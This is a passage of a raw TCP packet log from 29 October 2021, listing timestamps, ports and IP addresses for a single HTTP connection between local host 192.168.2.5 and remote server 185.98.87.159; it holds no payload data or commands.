Oct 29, 2021 20:10:57.099045992 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099062920 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099071026 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099082947 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099136114 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099235058 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099257946 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099284887 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099287033 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099303007 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099318981 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099328041 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099338055 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099351883 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099361897 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099385977 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099409103 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099415064 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099426031 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099426031 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099453926 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099473000 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099498034 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099525928 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099554062 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099580050 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099586010 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099601030 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099605083 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099607944 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099615097 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099633932 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099653006 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099675894 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099692106 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099708080 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099725962 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099749088 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099766970 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099783897 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099791050 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099800110 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099807024 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099816084 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.099816084 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099823952 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099833965 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.099842072 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.100409985 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100428104 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100444078 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100455999 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100466967 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100478888 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100492001 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100508928 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100507975 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.100524902 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100538015 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.100542068 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100544930 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.100558996 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100569963 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100581884 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100591898 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.100670099 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.102860928 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.151743889 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151776075 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151793003 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151808977 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151824951 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151838064 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.151839972 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151855946 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151866913 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.151870966 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151886940 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151894093 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.151901007 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151912928 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.151916981 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151932001 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.151943922 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.151972055 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152024984 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152045012 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152084112 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152122021 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152149916 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152180910 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152201891 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152218103 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152220964 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152234077 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152249098 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152250051 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152264118 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152272940 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152286053 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152299881 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152323008 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152348042 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152367115 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152381897 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152386904 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152396917 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152412891 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152415991 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152429104 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152432919 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152462959 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152501106 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152525902 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152549982 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152565956 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152569056 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152581930 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152595997 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.152606964 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.152626991 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205125093 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205153942 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205168962 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205184937 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205202103 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205215931 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205233097 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205244064 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205250025 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205265999 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205281019 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205281019 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205297947 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205312967 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205312967 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205329895 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205339909 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205344915 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205360889 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205364943 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205377102 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205385923 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205391884 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205408096 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205423117 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205439091 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205440044 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205454111 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205470085 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205485106 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205495119 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205513954 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205523968 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205530882 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205545902 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205554008 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205563068 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205579042 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205590963 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205595016 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205611944 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205626965 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205630064 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205641985 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205652952 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205657959 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205672979 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205688000 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205688000 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205703020 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.205730915 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.205756903 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.257827044 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.257872105 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.257962942 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.257991076 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258021116 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258028984 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258081913 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258116007 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258168936 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258223057 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258316040 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258349895 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258372068 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258384943 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258423090 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258451939 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258455992 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258491039 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258527994 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258532047 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258575916 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258605957 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258610010 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258644104 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258656025 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258678913 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258713961 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258749008 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258765936 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258783102 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258810043 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258819103 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258855104 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258887053 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258900881 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258923054 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258954048 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.258956909 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258992910 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.258999109 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.259030104 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259064913 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259078979 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.259099960 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259134054 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259167910 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259177923 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.259203911 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259210110 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.259238005 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259274006 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259277105 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.259310007 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259344101 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259360075 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.259377956 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.259423971 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311409950 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311463118 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311489105 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311523914 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311538935 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311561108 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311562061 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311600924 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311638117 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311649084 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311676025 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311712980 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311748028 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311758995 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311765909 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311793089 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311796904 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311835051 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311858892 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311863899 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311893940 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311925888 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311933041 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311954975 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311966896 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.311981916 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.311997890 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312015057 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312031984 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312040091 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312050104 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312057972 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312067986 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312083960 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312088013 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312103033 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312119961 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312130928 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312138081 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312155008 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312161922 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312172890 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312189102 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312205076 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312213898 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312222958 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312241077 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312249899 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312259912 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312269926 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312277079 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312294960 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312310934 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312314034 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312328100 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312340975 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312345028 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312362909 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312371016 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312381029 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312397957 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312402010 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312414885 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312432051 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312438965 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312449932 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312464952 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312480927 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312484980 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312498093 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312515020 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312517881 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312532902 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312542915 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312550068 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312566042 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312576056 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312583923 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312597036 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.312618971 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.312630892 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.364661932 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364713907 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364737988 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364761114 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364779949 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364809036 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364818096 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.364825964 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364845037 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364877939 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.364901066 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364906073 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.364942074 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364964962 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364985943 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.364994049 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365003109 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365021944 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365034103 CEST	49825	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:57.365039110 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365058899 CEST	80	49825	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:57.365081072 CEST	80	49825	185.98.87.159	192.168.2.5
